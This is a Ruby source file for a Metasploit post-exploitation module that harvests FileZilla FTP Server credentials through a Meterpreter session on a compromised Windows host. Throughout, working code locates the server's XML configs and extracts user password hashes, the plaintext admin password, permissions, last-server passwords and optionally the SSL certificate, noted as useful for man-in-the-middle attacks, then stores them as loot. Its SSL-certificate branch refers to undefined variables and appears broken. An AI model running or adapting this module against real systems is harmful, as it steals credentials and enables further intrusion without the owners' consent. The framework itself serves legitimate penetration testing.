##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rexml/document'

class MetasploitModule < Msf::Post
  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather FileZilla FTP Server Credential Collection',
        'Description' => %q{ This module will collect credentials from the FileZilla FTP server if installed. },
        'License' => MSF_LICENSE,
        'Author' => [
          'bannedit', # original idea & module
          'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
        ],
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_channel_eof
              core_channel_open
              core_channel_read
              core_channel_write
              stdapi_registry_query_value_direct
              stdapi_sys_config_getenv
              stdapi_sys_config_getuid
            ]
          }
        }
      )
    )

    register_options([
      OptBool.new('SSLCERT', [false, 'Loot the SSL Certificate if its there?', false]), # useful perhaps for MITM
    ])
  end

  def run
    if session.type != 'meterpreter'
      print_error 'Only meterpreter sessions are supported by this post module'
      return
    end

    progfiles_env = session.sys.config.getenvs('ProgramFiles', 'ProgramFiles(x86)', 'ProgramW6432')
    locations = []
    progfiles_env.each do |_k, v|
      next if v.blank?

      locations << v + '\\FileZilla Server\\'
    end

    keys = [
      'HKLM\\SOFTWARE\\FileZilla Server',
      'HKLM\\SOFTWARE\\Wow6432Node\\FileZilla Server',
    ]

    keys.each do |key|
      begin
        root_key, base_key = session.sys.registry.splitkey(key)
        value = session.sys.registry.query_value_direct(root_key, base_key, 'install_dir')
      rescue Rex::Post::Meterpreter::RequestError => e
        vprint_error(e.message)
        next
      end
      locations << value.data + '\\'
    end

    locations = locations.uniq
    filezilla = check_filezilla(locations)
    get_filezilla_creds(filezilla) if filezilla
  end

  def check_filezilla(locations)
    paths = []
    begin
      locations.each do |location|
        print_status("Checking for Filezilla Server directory in: #{location}")
        begin
          session.fs.dir.foreach(location.to_s) do |fdir|
            ['FileZilla Server.xml', 'FileZilla Server Interface.xml'].each do |xmlfile|
              next unless fdir == xmlfile

              filepath = location + xmlfile
              print_good("Configuration file found: #{filepath}")
              paths << filepath
            end
          end
        rescue Rex::Post::Meterpreter::RequestError => e
          vprint_error(e.message)
        end
      end
    rescue ::Exception => e
      print_error(e.to_s)
      return
    end

    if !paths.empty?
      print_good("Found FileZilla Server on #{sysinfo['Computer']} via session ID: #{session.sid}")
      print_line
      return paths
    end

    return nil
  end

  def get_filezilla_creds(paths)
    fs_xml = '' # FileZilla Server.xml           - Settings for the local install
    fsi_xml = '' # FileZilla Server Interface.xml - Last server used with the interface
    credentials = Rex::Text::Table.new(
      'Header' => 'FileZilla FTP Server Credentials',
      'Indent' => 1,
      'Columns' =>
      [
        'Host',
        'Port',
        'User',
        'Password',
        'SSL'
      ]
    )

    permissions = Rex::Text::Table.new(
      'Header' => 'FileZilla FTP Server Permissions',
      'Indent' => 1,
      'Columns' =>
      [
        'Host',
        'User',
        'Dir',
        'FileRead',
        'FileWrite',
        'FileDelete',
        'FileAppend',
        'DirCreate',
        'DirDelete',
        'DirList',
        'DirSubdirs',
        'AutoCreate',
        'Home'
      ]
    )

    configuration = Rex::Text::Table.new(
      'Header' => 'FileZilla FTP Server Configuration',
      'Indent' => 1,
      'Columns' =>
      [
        'FTP Port',
        'FTP Bind IP',
        'Admin Port',
        'Admin Bind IP',
        'Admin Password',
        'SSL',
        'SSL Certfile',
        'SSL Key Password'
      ]
    )

    lastserver = Rex::Text::Table.new(
      'Header' => 'FileZilla FTP Last Server',
      'Indent' => 1,
      'Columns' =>
      [
        'IP',
        'Port',
        'Password'
      ]
    )

    paths.each do |path|
      file = session.fs.file.new(path, 'rb')
      until file.eof?
        if path.include? 'FileZilla Server.xml'
          fs_xml << file.read
        elsif path.include? 'FileZilla Server Interface.xml'
          fsi_xml << file.read
        end
      end
      file.close
    end

    # user credentials password is just an MD5 hash
    # admin pass is just plain text. Priorities?
    creds, perms, config = parse_server(fs_xml)

    creds.each do |cred|
      credentials << [cred['host'], cred['port'], cred['user'], cred['password'], cred['ssl']]

      session.db_record ? (source_id = session.db_record.id) : (source_id = nil)

      service_data = {
        address: session.session_host,
        port: config['ftp_port'],
        service_name: 'ftp',
        protocol: 'tcp',
        workspace_id: myworkspace_id
      }

      credential_data = {
        origin_type: :session,
        jtr_format: 'raw-md5',
        session_id: session_db_id,
        post_reference_name: refname,
        private_type: :nonreplayable_hash,
        private_data: cred['password'],
        username: cred['user']
      }

      credential_data.merge!(service_data)

      credential_core = create_credential(credential_data)

      # Assemble the options hash for creating the Metasploit::Credential::Login object
      login_data = {
        core: credential_core,
        status: Metasploit::Model::Login::Status::UNTRIED
      }

      # Merge in the service data and create our Login
      login_data.merge!(service_data)
      create_credential_login(login_data)
    end

    perms.each do |perm|
      permissions << [
        perm['host'], perm['user'], perm['dir'], perm['fileread'], perm['filewrite'],
        perm['filedelete'], perm['fileappend'], perm['dircreate'], perm['dirdelete'], perm['dirlist'],
        perm['dirsubdirs'], perm['autocreate'], perm['home']
      ]
    end

    session.db_record ? (source_id = session.db_record.id) : (source_id = nil)

    # report the goods!
    if config['admin_pass'] == '<none>'
      vprint_status('Detected Default Adminstration Settings:')
    else
      vprint_status('Collected the following configuration details:')
      service_data = {
        address: session.session_host,
        port: config['admin_port'],
        service_name: 'filezilla-admin',
        protocol: 'tcp',
        workspace_id: myworkspace_id
      }

      credential_data = {
        origin_type: :session,
        session_id: session_db_id,
        post_reference_name: refname,
        private_type: :password,
        private_data: config['admin_pass'],
        username: 'admin'
      }

      credential_data.merge!(service_data)

      credential_core = create_credential(credential_data)

      # Assemble the options hash for creating the Metasploit::Credential::Login object
      login_data = {
        core: credential_core,
        status: Metasploit::Model::Login::Status::UNTRIED
      }

      # Merge in the service data and create our Login
      login_data.merge!(service_data)
      create_credential_login(login_data)
    end

    vprint_status("       FTP Port: #{config['ftp_port']}")
    vprint_status("    FTP Bind IP: #{config['ftp_bindip']}")
    vprint_status("            SSL: #{config['ssl']}")
    vprint_status("     Admin Port: #{config['admin_port']}")
    vprint_status("  Admin Bind IP: #{config['admin_bindip']}")
    vprint_status("     Admin Pass: #{config['admin_pass']}")
    vprint_line

    configuration << [
      config['ftp_port'], config['ftp_bindip'], config['admin_port'], config['admin_bindip'],
      config['admin_pass'], config['ssl'], config['ssl_certfile'], config['ssl_keypass']
    ]

    begin
      lastser = parse_interface(fsi_xml)
      lastserver << [lastser['ip'], lastser['port'], lastser['password']]
      vprint_status('Last Server Information:')
      vprint_status("         IP: #{lastser['ip']}")
      vprint_status("       Port: #{lastser['port']}")
      vprint_status("   Password: #{lastser['password']}")
      vprint_line
    rescue StandardError
      vprint_error('Could not parse FileZilla Server Interface.xml')
    end
    loot_path = store_loot('filezilla.server.creds', 'text/csv', session, credentials.to_csv,
                           'filezilla_server_credentials.csv', 'FileZilla FTP Server Credentials')
    print_status("Credentials saved in: #{loot_path}")

    loot_path = store_loot('filezilla.server.perms', 'text/csv', session, permissions.to_csv,
                           'filezilla_server_permissions.csv', 'FileZilla FTP Server Permissions')
    print_status("Permissions saved in: #{loot_path}")

    loot_path = store_loot('filezilla.server.config', 'text/csv', session, configuration.to_csv,
                           'filezilla_server_configuration.csv', 'FileZilla FTP Server Configuration')
    print_status("     Config saved in: #{loot_path}")

    loot_path = store_loot('filezilla.server.lastser', 'text/csv', session, lastserver.to_csv,
                           'filezilla_server_lastserver.csv', 'FileZilla FTP Last Server')
    print_status(" Last server history: #{loot_path}")

    print_line
  end

  def parse_server(data)
    creds = []
    perms = []
    groups = []
    settings = {}
    users = 0
    passwords = 0

    begin
      doc = REXML::Document.new(data).root
    rescue REXML::ParseException
      print_error('Invalid xml format')
    end

    opt = doc.elements.to_a('Settings/Item')
    if opt[1].nil? # Default value will only have a single line, for admin port - no adminstration settings
      settings['admin_port'] = begin
        opt[0].text
      rescue StandardError
        '<none>'
      end
      settings['ftp_port'] = 21
    else
      settings['ftp_port'] = begin
        opt[0].text
      rescue StandardError
        21
      end
      settings['admin_port'] = begin
        opt[16].text
      rescue StandardError
        '<none>'
      end
    end
    settings['admin_pass'] = begin
      opt[17].text
    rescue StandardError
      '<none>'
    end
    settings['local_host'] = begin
      opt[18].text
    rescue StandardError
      ''
    end
    settings['bindip'] = begin
      opt[38].text
    rescue StandardError
      ''
    end
    settings['ssl'] = begin
      opt[42].text
    rescue StandardError
      ''
    end

    # empty means localhost only * is 0.0.0.0
    if settings['local_host']
      settings['admin_bindip'] = settings['local_host']
    else
      settings['admin_bindip'] = '127.0.0.1'
    end
    settings['admin_bindip'] = '0.0.0.0' if settings['admin_bindip'] == '*' || settings['admin_bindip'].empty?

    if settings['bindip']
      settings['ftp_bindip'] = settings['bindip']
    else
      settings['ftp_bindip'] = '127.0.0.1'
    end
    settings['ftp_bindip'] = '0.0.0.0' if settings['ftp_bindip'] == '*' || settings['ftp_bindip'].empty?

    settings['ssl'] = settings['ssl'] == '1'
    if !settings['ssl'] && datastore['SSLCERT']
      print_error('Cannot loot the SSL Certificate, SSL is disabled in the configuration file')
    end

    settings['ssl_certfile'] = begin
      items[45].text
    rescue StandardError
      '<none>'
    end
    # Get the file if it is there. It could be useful in MITM attacks
    if settings['ssl_certfile'] != '<none>' && settings['ssl'] && datastore['SSLCERT']
      sslfile = session.fs.file.new(settings['ssl_certfile'])
      sslcert << sslfile.read until sslfile.eof?
      store_loot('filezilla.server.ssl.cert', 'text/plain', session, sslfile,
                 settings['ssl_cert'] + '.txt', 'FileZilla Server SSL Certificate File')
      print_status('Looted SSL Certificate File')
    end

    settings['ssl_certfile'] = '<none>' if settings['ssl_certfile'].nil?

    settings['ssl_keypass'] = begin
      items[50].text
    rescue StandardError
      '<none>'
    end
    settings['ssl_keypass'] = '<none>' if settings['ssl_keypass'].nil?

    vprint_status('Collected the following credentials:') if doc.elements['Users']

    doc.elements.each('Users/User') do |user|
      account = {}
      opt = user.elements.to_a('Option')
      account['user'] = begin
        user.attributes['Name']
      rescue StandardError
        '<none>'
      end
      account['password'] = begin
        opt[0].text
      rescue StandardError
        '<none>'
      end
      account['group'] = begin
        opt[1].text
      rescue StandardError
        '<none>'
      end
      users += 1
      passwords += 1
      groups << account['group']

      user.elements.to_a('Permissions/Permission').each do |permission|
        perm = {}
        opt = permission.elements.to_a('Option')
        perm['user'] = begin
          user.attributes['Name']
        rescue StandardError
          '<unknown>'
        end
        perm['dir'] = begin
          permission.attributes['Dir']
        rescue StandardError
          '<unknown>'
        end
        perm['fileread'] = begin
          opt[0].text
        rescue StandardError
          '<unknown>'
        end
        perm['filewrite'] = begin
          opt[1].text
        rescue StandardError
          '<unknown>'
        end
        perm['filedelete'] = begin
          opt[2].text
        rescue StandardError
          '<unknown>'
        end
        perm['fileappend'] = begin
          opt[3].text
        rescue StandardError
          '<unknown>'
        end
        perm['dircreate'] = begin
          opt[4].text
        rescue StandardError
          '<unknown>'
        end
        perm['dirdelete'] = begin
          opt[5].text
        rescue StandardError
          '<unknown>'
        end
        perm['dirlist'] = begin
          opt[6].text
        rescue StandardError
          '<unknown>'
        end
        perm['dirsubdirs'] = begin
          opt[7].text
        rescue StandardError
          '<unknown>'
        end
        perm['autocreate'] = begin
          opt[9].text
        rescue StandardError
          '<unknown>'
        end
        perm['host'] = settings['ftp_bindip']

        opt[8].text == '1' ? (perm['home'] = 'true') : (perm['home'] = 'false')

        perms << perm
      end

      user.elements.to_a('IpFilter/Allowed').each do |allowed|
      end
      user.elements.to_a('IpFilter/Disallowed').each do |disallowed|
      end

      account['host'] = settings['ftp_bindip']
      account['port'] = settings['ftp_port']
      account['ssl'] = settings['ssl'].to_s
      creds << account

      vprint_status("    Username: #{account['user']}")
      vprint_status("    Password: #{account['password']}")
      vprint_status("       Group: #{account['group']}") if account['group']
      vprint_line
    end

    # Rather than printing out all the values, just count up
    groups = groups.uniq unless groups.uniq.nil?
    if !datastore['VERBOSE']
      print_status('Collected the following credentials:')
      print_status("    Usernames: #{users}")
      print_status("    Passwords: #{passwords}")
      print_status("       Groups: #{groups.length}")
      print_line
    end
    return [creds, perms, settings]
  end

  def parse_interface(data)
    lastser = {}

    begin
      doc = REXML::Document.new(data).root
    rescue REXML::ParseException
      print_error('Invalid xml format')
      return lastser
    end

    opt = doc.elements.to_a('Settings/Item')

    opt.each do |item|
      case item.attributes['name']
      when /Address/
        lastser['ip'] = item.text
      when /Port/
        lastser['port'] = item.text
      when /Password/
        lastser['password'] = item.text
      end
    end

    lastser['password'] = '<none>' if lastser['password'].nil?

    lastser
  end

  def got_root?
    session.sys.config.getuid =~ /SYSTEM/ ? true : false
  end

  def whoami
    session.sys.config.getenv('USERNAME')
  end
end
